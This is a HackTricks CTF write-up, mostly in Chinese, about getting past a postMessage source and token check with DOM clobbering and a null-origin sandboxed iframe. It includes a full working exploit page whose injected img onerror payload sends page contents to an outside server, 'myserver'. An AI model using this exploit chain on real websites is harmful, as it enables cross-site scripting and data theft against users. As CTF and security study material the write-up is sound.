Bypassing SOP with Iframes - 2
Reading time: 4 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Iframes in SOP-2
在这个解决方案中,针对这个挑战, @Strellic_ 提出了与前一部分类似的方法。让我们来看看。
在这个挑战中,攻击者需要绕过这个:
javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
如果他这样做,他可以发送一个 postmessage,其中包含将通过 innerHTML
写入页面的 HTML 内容,而不进行清理 (XSS)。
绕过 第一个检查 的方法是将 window.calc.contentWindow
设置为 undefined
,并将 e.source
设置为 null
:
window.calc.contentWindow
实际上是document.getElementById("calc")
。你可以用<img name=getElementById />
来覆盖document.getElementById
(请注意,Sanitizer API -here- 在其默认状态下未配置以防止 DOM 覆盖攻击)。- 因此,你可以用
<img name=getElementById /><div id=calc></div>
来覆盖document.getElementById("calc")
。然后,window.calc
将是undefined
。 - 现在,我们需要
e.source
为undefined
或null
(因为使用的是==
而不是===
,null == undefined
为True
)。实现这一点是“简单”的。如果你创建一个 iframe 并从中 发送 一个 postMessage,然后立即 移除 该 iframe,e.origin
将变为null
。检查以下代码
javascript
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
为了绕过关于令牌的第二个检查,可以发送值为null
的**token
并使window.token
的值为undefined
**:
- 在postMessage中发送值为
null
的token
是微不足道的。 window.token
在调用使用document.cookie
的函数getCookie
中。请注意,在null
源页面对document.cookie
的任何访问都会触发错误。这将使**window.token
的值为undefined
**。
html
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。